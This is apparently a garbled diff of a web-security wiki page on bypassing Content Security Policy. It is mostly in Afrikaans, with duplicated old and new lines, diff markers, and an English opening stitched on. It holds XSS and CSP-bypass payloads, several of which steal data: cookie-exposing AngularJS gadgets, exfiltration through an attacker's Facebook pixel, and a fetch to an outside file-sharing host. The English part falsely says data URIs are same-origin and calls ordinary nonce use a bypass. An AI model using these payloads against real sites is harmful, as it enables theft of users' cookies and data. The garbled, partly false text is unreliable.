#### CSP Bypass using `script-src 'unsafe-inline'`
|
||||
|
||||
When a website has a Content Security Policy (CSP) that allows `'unsafe-inline'` for `script-src`, it means that inline JavaScript code can be executed on the website. This can be exploited by an attacker to execute arbitrary code on the website by injecting malicious scripts directly into the HTML code.
|
||||
To bypass CSP using `script-src 'unsafe-inline'`, you can use the following payload:
|
||||
|
||||
To bypass this CSP directive, an attacker can inject a `<script>` tag with the desired JavaScript code directly into the HTML content of the website. This way, the injected script will be executed as if it were part of the original code, bypassing the CSP protection.
|
||||
```html
|
||||
<script>alert('CSP Bypassed!')</script>
|
||||
```
|
||||
|
||||
#### CSP Bypass using Data URI
|
||||
|
||||
Another way to bypass CSP is by using Data URI. Data URIs allow embedding small files directly into the HTML or CSS code. An attacker can encode the JavaScript code into a Data URI format and then inject it into the website. Since Data URIs are treated as resources loaded from the same origin, they can bypass CSP restrictions.
|
||||
To bypass CSP using a data URI, you can use the following payload:
|
||||
|
||||
To implement this bypass, the attacker needs to craft a Data URI containing the JavaScript payload and then inject it into the website's HTML code. This payload will be executed within the context of the website, bypassing the CSP restrictions.
|
||||
```html
|
||||
<script src="data:text/javascript,alert('CSP Bypassed!')"></script>
|
||||
```
|
||||
|
||||
#### CSP Bypass using `nonce` attribute
|
||||
|
||||
To bypass CSP using the `nonce` attribute, you need to set the `nonce` value in the CSP header and in the script tag:
|
||||
|
||||
CSP Header:
|
||||
```html
|
||||
Content-Security-Policy: script-src 'nonce-RANDOM_VALUE'
|
||||
```
|
||||
|
||||
Script Tag:
|
||||
```html
|
||||
<script nonce="RANDOM_VALUE">alert('CSP Bypassed!')</script>
|
||||
```
|
||||
```
|
||||
Content-Security-Policy: connect-src www.facebook.com;
|
||||
```
|
||||
1. Skep 'n Facebook-ontwikkelaarsrekening hier.
|
||||
2. Skep 'n nuwe "Facebook-aanmelding" -program en kies "Webwerf".
|
||||
3. Gaan na "Instellings -> Basies" en kry jou "Program-ID".
|
||||
2. Skep 'n nuwe "Facebook-aanmelding" -toep en kies "Webwerf".
|
||||
3. Gaan na "Instellings -> Basies" en kry jou "Toep-ID".
|
||||
4. Op die teikensite waarvandaan jy data wil eksfiltreer, kan jy data eksfiltreer deur direk die Facebook SDK-toestel "fbq" te gebruik deur 'n "customEvent" en die datapakket.
|
||||
5. Gaan na jou Program "Gebeurtenisbestuurder" en kies die program wat jy geskep het (let wel dat die gebeurtenisbestuurder gevind kan word in 'n URL soortgelyk aan hierdie: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
|
||||
5. Gaan na jou Toep "Gebeurtenisbestuurder" en kies die aansoek wat jy geskep het (let wel dat die gebeurtenisbestuurder gevind kan word in 'n URL soortgelyk aan hierdie: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
|
||||
6. Kies die lêer "Toetsgebeurtenisse" om die gebeurtenisse te sien wat deur "jou" webwerf gestuur word.
|
||||
|
||||
Dan, aan die slagofferkant, voer jy die volgende kode uit om die Facebook-spoorpixel te inisieer om na die aanvaller se Facebook-ontwikkelaarsrekening-program-ID te wys en 'n aangepaste gebeurtenis uit te reik soos hierdie:
|
||||
Dan, aan die slagofferkant, voer jy die volgende kode uit om die Facebook-spoorpixel te inisieer om na die aanvaller se Facebook-ontwikkelaarsrekeningstoep-ID te wys en 'n aangepaste gebeurtenis uit te reik soos hierdie:
|
||||
```JavaScript
|
||||
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
|
||||
fbq('trackCustom', 'My-Custom-Event',{
|
||||
|
@ -383,11 +401,11 @@ Dus, sal hulle dit ontsluit, effektief versoek `https://example.com/scripts/reac
|
|||
|
||||
Deur **hierdie inkonsekwentheid in URL-interpretasie tussen die browser en die bediener uit te buit, kan die padreëls omseil word**.
|
||||
|
||||
Die oplossing is om `%2f` nie as `/` aan die kant van die bediener te hanteer nie, om 'n konsekwente interpretasie tussen die browser en die bediener te verseker om hierdie probleem te vermy.
|
||||
Die oplossing is om `%2f` nie as `/` aan die kant van die bediener te hanteer nie, om sodoende 'n konsekwente interpretasie tussen die browser en die bediener te verseker om hierdie probleem te vermy.
|
||||
|
||||
Aanlyn Voorbeeld:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
|
||||
|
||||
### Iframes JS-uitvoering
|
||||
### Iframes JS uitvoering
|
||||
|
||||
{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
|
||||
[iframes-in-xss-and-csp.md](../xss-cross-site-scripting/iframes-in-xss-and-csp.md)
|
||||
|
@ -404,14 +422,14 @@ Indien die kwesbare bladsy met **httpS** gelaai word, maak gebruik van 'n httpS-
|
|||
```
|
||||
### AngularJS gebeure
|
||||
|
||||
'n Spesifieke beleid bekend as Inhoudsbeveiligingsbeleid (CSP) mag JavaScript-gebeure beperk. Nietemin, AngularJS stel aangepaste gebeure as 'n alternatief voor. Binne 'n gebeurtenis bied AngularJS 'n unieke objek `$event`, wat verwys na die inheemse blaaier-gebeurtenisobjek. Hierdie `$event` objek kan uitgebuit word om die CSP te omseil. Merkwaardig, in Chrome, besit die `$event/event` objek 'n `path` eienskap, wat 'n objekreeks aanhou wat betrokke is by die gebeurtenis se uitvoerketting, met die `window` objek onveranderlik aan die einde geplaas. Hierdie struktuur is noodsaaklik vir sandputontsnappingstaktieke.
|
||||
'n Spesifieke beleid bekend as Inhoudsbeveiligingsbeleid (CSP) mag JavaScript-gebeure beperk. Nietemin, AngularJS stel aangepaste gebeure as 'n alternatief voor. Binne 'n gebeurtenis bied AngularJS 'n unieke objek `$event`, wat verwys na die inheemse blaaiergebeurtenisobjek. Hierdie `$event` objek kan benut word om die CSP te omseil. Merkwaardig, in Chrome, besit die `$event/event` objek 'n `path` eienskap, wat 'n objekreeks bevat wat betrokke is by die gebeurtenis se uitvoerketting, met die `window` objek wat onveranderlik aan die einde geplaas word. Hierdie struktuur is noodsaaklik vir sandputontsnappingstaktieke.
|
||||
|
||||
Deur hierdie reeks na die `orderBy` filter te rig, is dit moontlik om daaroor te itereer, waardeur die terminalelement (die `window` objek) benut kan word om 'n globale funksie soos `alert()` te aktiveer. Die gedemonstreerde kodesnit hieronder verduidelik hierdie proses:
|
||||
Deur hierdie reeks na die `orderBy` filter te rig, is dit moontlik om daaroor te itereer, waardeur die terminalelement (die `window` objek) benut kan word om 'n globale funksie soos `alert()` te aktiveer. Die gedemonstreerde kodefragment hieronder verduidelik hierdie proses:
|
||||
```xml
|
||||
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
|
||||
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
|
||||
```
|
||||
Hierdie snipper lig die gebruik van die `ng-focus` riglyn uit om die gebeurtenis te trigger, deur `$event.path|orderBy` te gebruik om die `path` array te manipuleer, en deur die `window` objek te benut om die `alert()` funksie uit te voer, en sodoende `document.cookie` bloot te stel.
|
||||
Hierdie snipper lig die gebruik van die `ng-focus` riglyn uit om die gebeurtenis te trigger, deur `$event.path|orderBy` te gebruik om die `path`-array te manipuleer, en deur die `window`-objek te benut om die `alert()`-funksie uit te voer, en sodoende `document.cookie` bloot te lê.
|
||||
|
||||
**Vind ander Angular omleidings in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
|
||||
|
||||
|
@ -419,9 +437,9 @@ Hierdie snipper lig die gebruik van die `ng-focus` riglyn uit om die gebeurtenis
|
|||
```
|
||||
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
|
||||
```
|
||||
### Werkende lading:
|
||||
|
||||
'n CSP-beleid wat domeine vir skriplading in 'n Angular JS-toepassing op 'n witlys plaas, kan omseil word deur die aanroeping van terugroepfunksies en sekere kwesbare klasse. Verdere inligting oor hierdie tegniek is beskikbaar in 'n gedetailleerde gids op hierdie [git-opgaarplek](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22).
|
||||
|
||||
Werkende lading:
|
||||
```html
|
||||
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
|
||||
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
|
||||
|
@ -431,11 +449,11 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
|
|||
```
|
||||
Ander JSONP-willekeurige uitvoerpunte kan gevind word in [**hier**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (van hulle is verwyder of reggemaak)
|
||||
|
||||
### Omgang deur middel van Herleiing
|
||||
### Omgang via Herleiing
|
||||
|
||||
Wat gebeur wanneer CSP kantelingskrywing aan die kant van die bediener teëkom? As die herleiing na 'n ander oorsprong lei wat nie toegelaat word nie, sal dit steeds misluk.
|
||||
Wat gebeur wanneer CSP kantoorserverherleiing teëkom? As die herleiing na 'n ander oorsprong lei wat nie toegelaat word nie, sal dit steeds misluk.
|
||||
|
||||
Tog, volgens die beskrywing in [CSP spes 4.2.2.3. Paaie en Herleiings](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), as die herleiing na 'n ander pad lei, kan dit die oorspronklike beperkings omseil.
|
||||
Tog, volgens die beskrywing in [CSP spes 4.2.2.3. Paaie en Herleidings](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), as die herleiing na 'n ander pad lei, kan dit die oorspronklike beperkings omseil.
|
||||
|
||||
Hier is 'n voorbeeld:
|
||||
```html
|
||||
|
@ -455,11 +473,11 @@ Hier is 'n voorbeeld:
|
|||
```
|
||||
Indien CSP ingestel is op `https://www.google.com/a/b/c/d`, aangesien die pad oorweeg word, sal beide `/test` en `/a/test` skripte deur CSP geblokkeer word.
|
||||
|
||||
Nietemin, die finale `http://localhost:5555/301` sal **op die bedienerkant na `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//` omgelei word**. Aangesien dit 'n omleiding is, word die **pad nie oorweeg nie**, en die **skrip kan gelaai word**, wat dus die padbeperking omseil.
|
||||
Nietemin, die finale `http://localhost:5555/301` sal **op die bedienerkant na `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//` omgelei word**. Aangesien dit 'n omleiding is, word die **pad nie oorweeg nie**, en kan die **skrip gelaai word**, wat dus die padbeperking omseil.
|
||||
|
||||
Met hierdie omleiding, selfs al is die pad volledig gespesifiseer, sal dit steeds omseil word.
|
||||
|
||||
Daarom is die beste oplossing om te verseker dat die webwerf geen oop omleidingskwesbaarhede het nie en dat daar geen domeine is wat in die CSP-reëls uitgebuit kan word nie.
|
||||
Daarom is die beste oplossing om te verseker dat die webwerf geen oop omleidingskwesbaarhede het nie en dat daar geen domeine is wat in die CSP-reëls uitgebuit kan word.
|
||||
|
||||
### Omseil CSP met bengelende opmaak
|
||||
|
||||
|
@ -469,7 +487,7 @@ Lees [hoe hier](../dangling-markup-html-scriptless-injection/).
|
|||
```
|
||||
default-src 'self' 'unsafe-inline'; img-src *;
|
||||
```
|
||||
`'unsafe-inline'` beteken dat jy enige skrip binne die kode kan uitvoer (XSS kan kode uitvoer) en `img-src *` beteken dat jy enige beeld van enige bron op die webblad kan gebruik.
|
||||
`'unsafe-inline'` beteken dat jy enige skrip binne die kode kan uitvoer (XSS kan kode uitvoer) en `img-src *` beteken dat jy enige beeld van enige bron op die webbladsy kan gebruik.
|
||||
|
||||
Jy kan hierdie CSP omseil deur die data via beelde te eksfiltreer (in hierdie geval misbruik die XSS 'n CSRF waar 'n bladsy wat deur die bot toeganklik is 'n SQLi bevat, en onttrek die vlag via 'n beeld):
|
||||
```javascript
|
||||
|
@ -477,11 +495,11 @@ Jy kan hierdie CSP omseil deur die data via beelde te eksfiltreer (in hierdie ge
|
|||
```
|
||||
Vanaf: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
||||
|
||||
Jy kan ook hierdie konfigurasie misbruik om **javascript-kode wat binne 'n afbeelding ingevoeg is te laai**. As byvoorbeeld, die bladsy laai afbeeldings van Twitter. Jy kan 'n **spesiale afbeelding** **skep**, dit na Twitter **oplaai** en die "**unsafe-inline**" misbruik om 'n JS-kode uit te voer (soos 'n gewone XSS) wat die **afbeelding sal laai**, die **JS** daaruit sal **onttrek** en dit sal **uitvoer**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
Jy kan ook hierdie konfigurasie misbruik om **javascript-kode wat binne 'n afbeelding ingevoeg is te laai**. As byvoorbeeld die bladsy laai van afbeeldings van Twitter toelaat. Jy kan 'n **spesiale afbeelding** **skep**, dit na Twitter **oplaai** en die "**unsafe-inline**" misbruik om 'n JS-kode (soos 'n gewone XSS) uit te voer wat die **afbeelding laai**, die **JS** daaruit **onttrek** en **dit uitvoer**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
|
||||
### Met Dienswerkers
|
||||
|
||||
Dienswerkers se **`importScripts`**-funksie word nie deur CSP beperk nie:
|
||||
Dienswerkers se **`importScripts`**-funksie is nie beperk deur CSP nie:
|
||||
|
||||
{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %}
|
||||
[abusing-service-workers.md](../xss-cross-site-scripting/abusing-service-workers.md)
|
||||
|
@ -493,12 +511,12 @@ Dienswerkers se **`importScripts`**-funksie word nie deur CSP beperk nie:
|
|||
|
||||
#### Chrome
|
||||
|
||||
As 'n **parameter** wat deur jou gestuur word binne die **verklaring** van die **beleid geplak** word, kan jy die **beleid** op 'n manier **verander** wat dit **nutteloos maak**. Jy kan skrips toelaat 'unsafe-inline' met enige van hierdie omseilings:
|
||||
As 'n **parameter** wat deur jou gestuur word binne die **verklaring** van die **beleid geplak** word, kan jy die **beleid** op 'n manier **verander** wat dit **nutteloos** maak. Jy kan skrips toelaat 'unsafe-inline' met enige van hierdie omseilings:
|
||||
```bash
|
||||
script-src-elem *; script-src-attr *
|
||||
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
||||
```
|
||||
Omdat hierdie riglyn bestaande script-src riglyne sal **owerwrite**.\
|
||||
Omdat hierdie riglyn die bestaande script-src riglyne sal **owerwrite**.\
|
||||
Jy kan 'n voorbeeld hier vind: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
|
||||
|
||||
#### Rand
|
||||
|
@ -509,7 +527,7 @@ Voorbeeld: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\
|
|||
### img-src \*; via XSS (iframe) - Tyd aanval
|
||||
|
||||
Let op die afwesigheid van die riglyn `'unsafe-inline'`\
|
||||
Hierdie keer kan jy die slagoffer **'n bladsy in **jou beheer** laat **laai** via **XSS** met 'n `<iframe`. Hierdie keer gaan jy die slagoffer die bladsy laat besoek vanwaar jy inligting wil onttrek (**CSRF**). Jy kan nie die inhoud van die bladsy bereik nie, maar as jy op een of ander manier die tyd kan **beheer wat die bladsy neem om te laai** kan jy die inligting onttrek wat jy nodig het.
|
||||
Hierdie keer kan jy die slagoffer **'n bladsy in **jou beheer** laat **laai** via **XSS** met 'n `<iframe`. Hierdie keer gaan jy die slagoffer die bladsy laat besoek van waar jy inligting wil onttrek (**CSRF**). Jy kan nie die inhoud van die bladsy besoek nie, maar as jy op een of ander manier die tyd kan **beheer wat die bladsy neem om te laai** kan jy die inligting onttrek wat jy nodig het.
|
||||
|
||||
Hierdie keer gaan 'n **vlag** onttrek word, telkens wanneer 'n **karakter korrek gegok** word via SQLi neem die **reaksie** langer tyd as gevolg van die slaapfunksie. Dan sal jy in staat wees om die vlag te onttrek:
|
||||
```html
|
||||
|
@ -573,15 +591,15 @@ run();
|
|||
```
|
||||
### Via Boekmerklets
|
||||
|
||||
Hierdie aanval sou 'n bietjie sosiale manipulasie impliseer waar die aanvaller die gebruiker oortuig om 'n skakel oor die boekmerklet van die webblaaier te sleep en neer te sit. Hierdie boekmerklet sou **skadelike javascript**-kode bevat wat uitgevoer sou word in die konteks van die huidige web-venster, wat **CSP omseil en toelaat om sensitiewe inligting** soos koekies of tokens te steel.
|
||||
Hierdie aanval sou 'n bietjie sosiale manipulasie impliseer waar die aanvaller die gebruiker oortuig om 'n skakel oor die boekmerklet van die webblaaier te sleep en los. Hierdie boekmerklet sou **skadelike javascript**-kode bevat wat uitgevoer sou word in die konteks van die huidige web-venster, wat **CSP omseil en toelaat om sensitiewe inligting** soos koekies of tokens te steel.
|
||||
|
||||
Vir meer inligting [**kyk na die oorspronklike verslag hier**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||||
|
||||
### CSP omseiling deur CSP te beperk
|
||||
|
||||
In [**hierdie CTF-verslag**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), word CSP omseil deur binne 'n toegelate ifram 'n meer beperkende CSP in te spuit wat verhoed het dat 'n spesifieke JS-lêer gelaai word wat dan, via **prototipe besoedeling** of **dom clobbering** toegelaat het om **'n ander skrip te misbruik om 'n willekeurige skrip te laai**.
|
||||
In [**hierdie CTF-verslag**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), word CSP omseil deur binne 'n toegelate ifram 'n meer beperkende CSP in te spuit wat verhoed dat 'n spesifieke JS-lêer gelaai word wat dan, via **prototipe besoedeling** of **dom-verstoring**, toegelaat het om 'n ander skrips te misbruik om 'n willekeurige skrips te laai.
|
||||
|
||||
Jy kan **'n CSP van 'n Iframe beperk** met die **`csp`** eienskap:
|
||||
Jy kan **'n CSP van 'n Iframe beperk** met die **`csp`**-kenmerk:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```html
|
||||
|
@ -589,8 +607,8 @@ Jy kan **'n CSP van 'n Iframe beperk** met die **`csp`** eienskap:
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
In [**hierdie CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), was dit moontlik deur **HTML inspuiting** om **meer te beperk** 'n **CSP** sodat 'n skrip wat CSTI voorkom, uitgeskakel is en gevolglik die **kwesbaarheid vatbaar geword het vir uitbuiting.**\
|
||||
CSP kan strenger gemaak word deur **HTML meta-tabelle** te gebruik en inline-skripte kan uitgeskakel word **deur die verwydering** van die **inskrywing** wat hulle **nonce** toelaat en **spesifieke inline-skrip aktiveer via sha**:
|
||||
In [**hierdie CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), was dit moontlik deur **HTML inspuiting** om **meer te beperk** 'n **CSP** sodat 'n skrip wat CSTI voorkom, gedeaktiveer is en gevolglik die **kwesbaarheid vatbaar geword het.**\
|
||||
CSP kan meer beperkend gemaak word deur **HTML meta-tukke** en inline-skripte kan gedeaktiveer word **deur die verwydering** van die **inskrywing** wat hulle **nonce** toelaat en **spesifieke inline-skrip aktiveer via sha**:
|
||||
```html
|
||||
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
|
||||
'unsafe-eval' 'strict-dynamic'
|
||||
|
@ -599,9 +617,9 @@ CSP kan strenger gemaak word deur **HTML meta-tabelle** te gebruik en inline-skr
|
|||
```
|
||||
### JS uitlekking met Inhoudsbeveiligingsbeleid-Rapport-Slegs
|
||||
|
||||
As jy kan slaag om die bediener te laat reageer met die kop **`Content-Security-Policy-Report-Only`** met 'n **waarde wat deur jou beheer word** (miskien as gevolg van 'n CRLF), kan jy dit jou bediener laat aandui en as jy die **JS-inhoud** wat jy wil uitlek met **`<script>`** omwikkel en omdat dit baie waarskynlik is dat `unsafe-inline` nie toegelaat word deur die CSP nie, sal dit 'n CSP-fout veroorsaak en 'n deel van die skrip (wat die sensitiewe inligting bevat) sal na die bediener gestuur word vanaf `Content-Security-Policy-Report-Only`.
|
||||
As jy kan slaag om die bediener te laat antwoord met die kop **`Content-Security-Policy-Report-Only`** met 'n **waarde wat deur jou beheer word** (miskien as gevolg van 'n CRLF), kan jy dit jou bediener laat aandui en as jy die **JS-inhoud** wat jy wil uitlek met **`<script>`** omhul en omdat dit baie waarskynlik is dat `unsafe-inline` nie toegelaat word deur die CSP nie, sal dit 'n CSP-fout veroorsaak en 'n deel van die skrip (wat die sensitiewe inligting bevat) sal gestuur word na die bediener vanaf `Content-Security-Policy-Report-Only`.
|
||||
|
||||
Vir 'n voorbeeld [**kyk na hierdie CTF-verslag**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
||||
Vir 'n voorbeeld [**kyk na hierdie CTF-skryfstuk**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
||||
|
||||
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
|
||||
```javascript
|
||||
|
@ -609,19 +627,19 @@ document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = documen
|
|||
```
|
||||
### Inligting wat uitlek met CSP en Iframe
|
||||
|
||||
* 'n `iframe` word geskep wat na 'n URL wys (laat ons dit `https://example.redirect.com` noem) wat toegelaat word deur CSP.
|
||||
* Hierdie URL verwys dan na 'n geheime URL (byvoorbeeld, `https://usersecret.example2.com`) wat **nie toegelaat** word deur CSP nie.
|
||||
* Deur te luister na die `securitypolicyviolation` gebeurtenis, kan mens die `blockedURI` eienskap vasvang. Hierdie eienskap onthul die domein van die geblokkeerde URI, wat die geheime domein waarheen die aanvanklike URL verwys het, uitlek.
|
||||
* 'n `iframe` word geskep wat na 'n URL wys (ons noem dit `https://example.redirect.com`) wat toegelaat word deur CSP.
|
||||
* Hierdie URL verwys dan na 'n geheime URL (bv., `https://usersecret.example2.com`) wat **nie toegelaat** word deur CSP nie.
|
||||
* Deur te luister na die `securitypolicyviolation` gebeurtenis, kan mens die `blockedURI` eienskap vasvang. Hierdie eienskap onthul die domein van die geblokkeerde URI, wat die geheime domein waarheen die oorspronklike URL verwys het, uitlek.
|
||||
|
||||
Dit is interessant om op te merk dat webblaaier soos Chrome en Firefox verskillende gedrag het met betrekking tot iframes in verband met CSP, wat kan lei tot die potensiële uitlek van sensitiewe inligting as gevolg van ongedefinieerde gedrag.
|
||||
Dit is interessant om op te merk dat webblaaier soos Chrome en Firefox verskillende gedrag het met betrekking tot die hantering van iframes met betrekking tot CSP, wat kan lei tot die potensiële uitlek van sensitiewe inligting as gevolg van ongedefinieerde gedrag.
|
||||
|
||||
'n Ander tegniek behels die uitbuiting van die CSP self om die geheime subdomein af te lei. Hierdie metode steun op 'n binêre soekalgoritme en die aanpassing van die CSP om spesifieke domeine in te sluit wat opsetlik geblokkeer word. Byvoorbeeld, as die geheime subdomein uit onbekende karakters bestaan, kan jy iteratief verskillende subdomeine toets deur die CSP-richtlyn te wysig om hierdie subdomeine te blokkeer of toe te laat. Hier is 'n uittreksel wat wys hoe die CSP opgestel kan word om hierdie metode te fasiliteer:
|
||||
'n Ander tegniek behels die uitbuiting van die CSP self om die geheime subdomein af te lei. Hierdie metode steun op 'n binêre soekalgoritme en die aanpassing van die CSP om spesifieke domeine in te sluit wat opsetlik geblokkeer word. Byvoorbeeld, as die geheime subdomein uit onbekende karakters bestaan, kan jy iteratief verskillende subdomeine toets deur die CSP riglyn te wysig om hierdie subdomeine te blokkeer of toe te laat. Hier is 'n uittreksel wat wys hoe die CSP opgestel kan word om hierdie metode te fasiliteer:
|
||||
```markdown
|
||||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
||||
```
|
||||
Deur te monitor watter versoekers deur die CSP geblokkeer of toegelaat word, kan mens die moontlike karakters in die geheime subdomein beperk, en uiteindelik die volledige URL blootlê.
|
||||
|
||||
Beide metodes maak gebruik van die subtiliteite van CSP-implementering en -gedrag in webblaaier, wat demonstreer hoe skynbaar veilige beleide onbedoeld sensitiewe inligting kan laat lek.
|
||||
Beide metodes maak gebruik van die subtiliteite van CSP-implementering en -gedrag in webblaaier, wat demonstreer hoe oggend veilige beleide onbedoeld sensitiewe inligting kan laat lek.
|
||||
|
||||
Truuk van [**hier**](https://ctftime.org/writeup/29310).
|
||||
|
||||
|
@ -630,10 +648,10 @@ Truuk van [**hier**](https://ctftime.org/writeup/29310).
|
|||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en foutbeloningsjagters te kommunikeer!
|
||||
|
||||
**Hack-insigte**\
|
||||
Gaan in gesprek met inhoud wat die opwinding en uitdagings van hack bied
|
||||
Gaan in gesprek met inhoud wat die opwinding en uitdagings van hack ondersoek
|
||||
|
||||
**Nuutste Hack-nuus**\
|
||||
Bly op hoogte van die snelveranderende hackwêreld deur middel van nuus en insigte in werklikheid
|
||||
Bly op hoogte van die vinnige hack-wêreld deur middel van nuus en insigte in werklikheid
|
||||
|
||||
**Nuutste Aankondigings**\
|
||||
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke platformopdaterings
|
||||
|
@ -642,16 +660,20 @@ Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke plat
|
|||
|
||||
## Onveilige Tegnologieë om CSP te omseil
|
||||
|
||||
### PHP-reaksiebufferoorlading
|
||||
### PHP Foute wanneer te veel parameters
|
||||
|
||||
PHP is bekend vir **die buffer van die reaksie tot 4096** grepe standaard. Daarom, as PHP 'n waarskuwing wys, deur **genoeg data binne waarskuwings te voorsien**, sal die **reaksie** **gestuur word** **voordat** die **CSP-kop**, wat veroorsaak dat die kop geïgnoreer word.\
|
||||
Dan bestaan die tegniek basies daarin om die reaksiebuffer met waarskuwings te **vul** sodat die CSP-kop nie gestuur word nie.
|
||||
Volgens die [**laaste tegniek wat in hierdie video gekommentaar is**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), deur te veel parameters te stuur (1001 GET parameters alhoewel jy dit ook met POST parameters en meer as 20 lêers kan doen). Enige gedefinieerde **`header()`** in die PHP-webkode **sal nie gestuur word** as gevolg van die fout wat dit sal veroorsaak.
|
||||
|
||||
Idee vanaf [**hierdie skryfstuk**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
|
||||
### PHP responsbuffer oorlading
|
||||
|
||||
PHP is bekend vir **die buffer van die respons tot 4096** grepe standaard. Daarom, as PHP 'n waarskuwing wys, deur **genoeg data binne waarskuwings te voorsien**, sal die **respons** **gestuur word** **voor** die **CSP-header**, wat veroorsaak dat die header geïgnoreer word.\
|
||||
Dan bestaan die tegniek basies daarin om die responsbuffer met waarskuwings te vul sodat die CSP-header nie gestuur word nie.
|
||||
|
||||
Idee vanaf [**hierdie writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
|
||||
|
||||
### Herskryf Foutbladsy
|
||||
|
||||
Vanaf [**hierdie skryfstuk**](https://blog.ssrf.kr/69) lyk dit asof dit moontlik was om 'n CSP-beskerming te omseil deur 'n foutbladsy (moontlik sonder CSP) te laai en sy inhoud te herskryf.
|
||||
Vanaf [**hierdie writeup**](https://blog.ssrf.kr/69) lyk dit asof dit moontlik was om 'n CSP-beskerming te omseil deur 'n foutbladsy (moontlik sonder CSP) te laai en sy inhoud te herskryf.
|
||||
```javascript
|
||||
a = window.open('/' + 'x'.repeat(4100));
|
||||
setTimeout(function() {
|
||||
|
@ -660,48 +682,50 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
|
|||
```
|
||||
### SOME + 'self' + wordpress
|
||||
|
||||
SOME is 'n tegniek wat 'n XSS (of hoogs beperkte XSS) misbruik **in 'n eindpunt van 'n bladsy** om **ander eindpunte van dieselfde oorsprong te misbruik.** Dit word gedoen deur die kwesbare eindpunt vanaf 'n aanvaller se bladsy te laai en dan die aanvaller se bladsy na die werklike eindpunt in dieselfde oorsprong wat jy wil misbruik, te verfris. Op hierdie manier kan die **kwesbare eindpunt** die **`opener`** objek in die **lading** gebruik om die DOM van die **werklike eindpunt wat misbruik moet word,** te **toegang.** Vir meer inligting, kyk:
|
||||
SOME is 'n tegniek wat 'n XSS (of hoogs beperkte XSS) **misbruik in 'n eindpunt van 'n bladsy** om **ander eindpunte van dieselfde oorsprong te misbruik.** Dit word gedoen deur die kwesbare eindpunt vanaf 'n aanvaller se bladsy te laai en dan die aanvaller se bladsy na die werklike eindpunt in dieselfde oorsprong wat jy wil misbruik, te verfris. Op hierdie manier kan die **kwesbare eindpunt** die **`opener`**-voorwerp in die **lading** gebruik om toegang te verkry tot die DOM van die **werklike eindpunt wat misbruik moet word**. Vir meer inligting, kyk:
|
||||
|
||||
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
|
||||
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Daarbenewens het **wordpress** 'n **JSONP** eindpunt in `/wp-json/wp/v2/users/1?_jsonp=data` wat die **data** wat in die uitvoer gestuur word, **weerspieël** (met die beperking van slegs letters, syfers en kolletjies).
|
||||
